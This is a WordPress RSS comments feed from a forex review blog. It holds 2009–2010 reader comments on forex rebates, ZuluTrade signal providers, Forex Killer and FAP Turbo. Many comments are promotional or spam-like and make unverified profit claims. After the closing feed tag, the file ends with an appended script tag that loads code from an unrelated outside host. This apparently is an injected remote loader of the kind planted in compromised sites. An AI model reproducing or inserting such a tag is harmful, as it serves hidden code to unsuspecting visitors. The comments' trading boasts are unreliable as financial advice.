<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>
<channel>
	<title>Comments for Forex Review Blog</title>
	<atom:link href="http://www.mo4forex.com/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mo4forex.com</link>
	<description>My Forex Reviews and Notes</description>
	<pubDate>Fri, 30 Jul 2010 13:48:20 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Comment on Forex Rebates Cash Back for Trades by Sunen</title>
		<link>http://www.mo4forex.com/forex-rebates-cash-back-for-trades/comment-page-6/#comment-39142</link>
		<dc:creator>Sunen</dc:creator>
		<pubDate>Sat, 10 Apr 2010 20:25:47 +0000</pubDate>
		<guid isPermaLink="false">http://www.mo4forex.com/?p=266#comment-39142</guid>
		<description>The best forex cashback company is the one who give back more rebate to its customers in addition to a good service. In my experience there so far only F1cashback which has higher forex rebate and very good support than most other companies.</description>
		<content:encoded><![CDATA[<p>The best forex cashback company is the one who give back more rebate to its customers in addition to a good service. In my experience there so far only F1cashback which has higher forex rebate and very good support than most other companies.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on ZuluTrade.com Scam or No Scam? by Felix Irniger</title>
		<link>http://www.mo4forex.com/zulu-trade-scam-or-no-scam/comment-page-1/#comment-38514</link>
		<dc:creator>Felix Irniger</dc:creator>
		<pubDate>Sat, 03 Apr 2010 16:20:34 +0000</pubDate>
		<guid isPermaLink="false">http://www.mo4forex.com/?p=430#comment-38514</guid>
		<description>One very important requirement to be successful with any trades provider is to have a lot of experience with Forex trading. Only then can you evaluate a provider and his actions. Here are my rules (and I would gladly discuss them with individuals irniger@gmx.net):

1. choose only one contract per provider to spread the risks
2. max 25 contracts open
3. forget the ratings, do your own homework:
3a. high % of winning trades, at least 80% AND low drawdown; to determine the real danger of the drawdowns, go through the list of a provider's closed trades and look at 3 - 4 pages of trades and at the minus spreads; if these spreads are usually less than 200 pips, it should be ok.
3b.no old stuff in the open positions, only 1 - 2 days old and few minus pips, max 100 pips each,
3c. no risky traders, only those with nice and smooth profit upline,
3d. open positions in $ max 50% of account size; if you got $ 60'000 in the account, open pos. should only be max $ 30'000,
4. Check your providers regularly; kill the lame and the loosers, there are always new ones coming in. But include them only after they have 8 weeks of trading with good results.
5. Include as many providers as possible to spread the risk. I got about 80 good ones at present - but they could go bad anytime. I now have enough experience and very good results to start going live.

There is more, but it would be too much to publish it here. I would really appreciate contacts with other Zulu users, demo or live. Regards, Felix</description>
		<content:encoded><![CDATA[<p>One very important requirement to be successful with any trades provider is to have a lot of experience with Forex trading. Only then can you evaluate a provider and his actions. Here are my rules (and I would gladly discuss them with individuals <a href="mailto:irniger@gmx.net">irniger@gmx.net</a>):</p>
<p>1. choose only one contract per provider to spread the risks<br />
2. max 25 contracts open<br />
3. forget the ratings, do your own homework:<br />
3a. high % of winning trades, at least 80% AND low drawdown; to determine the real danger of the drawdowns, go through the list of a provider&#8217;s closed trades and look at 3 - 4 pages of trades and at the minus spreads; if these spreads are usually less than 200 pips, it should be ok.<br />
3b.no old stuff in the open positions, only 1 - 2 days old and few minus pips, max 100 pips each,<br />
3c. no risky traders, only those with nice and smooth profit upline,<br />
3d. open positions in $ max 50% of account size; if you got $ 60&#8242;000 in the account, open pos. should only be max $ 30&#8242;000,<br />
4. Check your providers regularly; kill the lame and the loosers, there are always new ones coming in. But include them only after they have 8 weeks of trading with good results.<br />
5. Include as many providers as possible to spread the risk. I got about 80 good ones at present - but they could go bad anytime. I now have enough experience and very good results to start going live.</p>
<p>There is more, but it would be too much to publish it here. I would really appreciate contacts with other Zulu users, demo or live. Regards, Felix</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Top Three Zulu Trade Signal Providers by Dr Zhivago</title>
		<link>http://www.mo4forex.com/top-zulu-trade-signal-providers/comment-page-1/#comment-29523</link>
		<dc:creator>Dr Zhivago</dc:creator>
		<pubDate>Tue, 24 Nov 2009 16:10:10 +0000</pubDate>
		<guid isPermaLink="false">http://www.mo4forex.com/?p=442#comment-29523</guid>
		<description>I myself use the Surfing signal provider on Zulu trader and I have nothing but good things to report to you.  Whoever he or she is never gets us into crappy trades that go down more than 50 pips, and I am experiencing a growth of over 1000 pips in my account just a few weeks, trading mini lots I'm up over $2000!  Trading on Zulu has seriously become my favorite way to trade Forex, and I plan on increasing my lot position with Surfing any day now.

So Long Live Surfing! And Long Live Zulu Trade!</description>
		<content:encoded><![CDATA[<p>I myself use the Surfing signal provider on Zulu trader and I have nothing but good things to report to you.  Whoever he or she is never gets us into crappy trades that go down more than 50 pips, and I am experiencing a growth of over 1000 pips in my account just a few weeks, trading mini lots I&#8217;m up over $2000!  Trading on Zulu has seriously become my favorite way to trade Forex, and I plan on increasing my lot position with Surfing any day now.</p>
<p>So Long Live Surfing! And Long Live Zulu Trade!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Forex Killer Scam or No Scam? by Samir</title>
		<link>http://www.mo4forex.com/forex-killer-scam-or-no-scam/comment-page-24/#comment-27123</link>
		<dc:creator>Samir</dc:creator>
		<pubDate>Sun, 04 Oct 2009 16:16:15 +0000</pubDate>
		<guid isPermaLink="false">http://www.mo4forex.com/forex-killer-scam-or-no-scam/#comment-27123</guid>
		<description>I highly appreciate your unbiased review. Your pious review shall save the newbies from falling prey to useless forex softwares. May God bless you.</description>
		<content:encoded><![CDATA[<p>I highly appreciate your unbiased review. Your pious review shall save the newbies from falling prey to useless forex softwares. May God bless you.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on FAPS TURBO REVIEW by Forex Way</title>
		<link>http://www.mo4forex.com/faps-turbo-review/comment-page-1/#comment-20393</link>
		<dc:creator>Forex Way</dc:creator>
		<pubDate>Mon, 29 Jun 2009 23:19:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.mo4forex.com/?p=387#comment-20393</guid>
		<description>there's a lot of forex autopilot free software nowadays. i have downloaded almost all the free software i found. right now still don't know which one is the best autopilot software. tq for sharing.</description>
		<content:encoded><![CDATA[<p>there&#8217;s a lot of forex autopilot free software nowadays. i have downloaded almost all the free software i found. right now still don&#8217;t know which one is the best autopilot software. tq for sharing.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Forex Probability Indicator by indicators</title>
		<link>http://www.mo4forex.com/forex-probability-indicator/comment-page-1/#comment-18206</link>
		<dc:creator>indicators</dc:creator>
		<pubDate>Mon, 08 Jun 2009 13:56:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.mo4forex.com/forex-probability-indicator/#comment-18206</guid>
		<description>yeah really good indicator, but need to pay))</description>
		<content:encoded><![CDATA[<p>yeah really good indicator, but need to pay))</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on My Final Forex Killer Review by BestFxProduct</title>
		<link>http://www.mo4forex.com/final-forex-killer-review/comment-page-1/#comment-18134</link>
		<dc:creator>BestFxProduct</dc:creator>
		<pubDate>Sun, 07 Jun 2009 17:59:26 +0000</pubDate>
		<guid isPermaLink="false">http://www.mo4forex.com/final-forex-killer-review/#comment-18134</guid>
		<description>Thanks for the review.

ForexKiller is indeed a very popular program used by traders today.

Anyone made money with it like to share ?</description>
		<content:encoded><![CDATA[<p>Thanks for the review.</p>
<p>ForexKiller is indeed a very popular program used by traders today.</p>
<p>Anyone made money with it like to share ?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Forex Online Signals &#8212; Signal Provider Review by UltimateForexReview</title>
		<link>http://www.mo4forex.com/forex-online-signals-signal-provider-review/comment-page-1/#comment-18062</link>
		<dc:creator>UltimateForexReview</dc:creator>
		<pubDate>Sat, 06 Jun 2009 16:40:01 +0000</pubDate>
		<guid isPermaLink="false">http://www.mo4forex.com/forex-online-signals-signal-provider-review/#comment-18062</guid>
		<description>Hi There, the only forex signal company which is actually
 not a scam and which doesn't take a leg is Forex Ambush.
You should have a look...

Cheers, Samuel.</description>
		<content:encoded><![CDATA[<p>Hi There, the only forex signal company which is actually<br />
 not a scam and which doesn&#8217;t take a leg is Forex Ambush.<br />
You should have a look&#8230;</p>
<p>Cheers, Samuel.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on My Final Forex Killer Review by UltimateForexReview</title>
		<link>http://www.mo4forex.com/final-forex-killer-review/comment-page-1/#comment-18061</link>
		<dc:creator>UltimateForexReview</dc:creator>
		<pubDate>Sat, 06 Jun 2009 16:36:12 +0000</pubDate>
		<guid isPermaLink="false">http://www.mo4forex.com/final-forex-killer-review/#comment-18061</guid>
		<description>Come On guys ! The Forex Killer is the forex scam of the century !
Are you blind ? First Andreas Kirchberger doesn't even exist and then the
software is complete crap !
You should try it on demo for some months and then you'd see !

Samuel.</description>
		<content:encoded><![CDATA[<p>Come On guys ! The Forex Killer is the forex scam of the century !<br />
Are you blind ? First Andreas Kirchberger doesn&#8217;t even exist and then the<br />
software is complete crap !<br />
You should try it on demo for some months and then you&#8217;d see !</p>
<p>Samuel.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on FAPS TURBO REVIEW by Samuel</title>
		<link>http://www.mo4forex.com/faps-turbo-review/comment-page-1/#comment-18060</link>
		<dc:creator>Samuel</dc:creator>
		<pubDate>Sat, 06 Jun 2009 16:32:01 +0000</pubDate>
		<guid isPermaLink="false">http://www.mo4forex.com/?p=387#comment-18060</guid>
		<description>Hi There, 

from now on, you should take care. Indeed, FAP Turbo isn't working as it used to be...
Once again another Forex Robot seems to fail !
Why don't we focus on real trading such with trading strategies or trading methods ?
Come on, robots are the tools of the lazy trader !

Cheers, Samuel.</description>
		<content:encoded><![CDATA[<p>Hi There, </p>
<p>from now on, you should take care. Indeed, FAP Turbo isn&#8217;t working as it used to be&#8230;<br />
Once again another Forex Robot seems to fail !<br />
Why don&#8217;t we focus on real trading such with trading strategies or trading methods ?<br />
Come on, robots are the tools of the lazy trader !</p>
<p>Cheers, Samuel.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>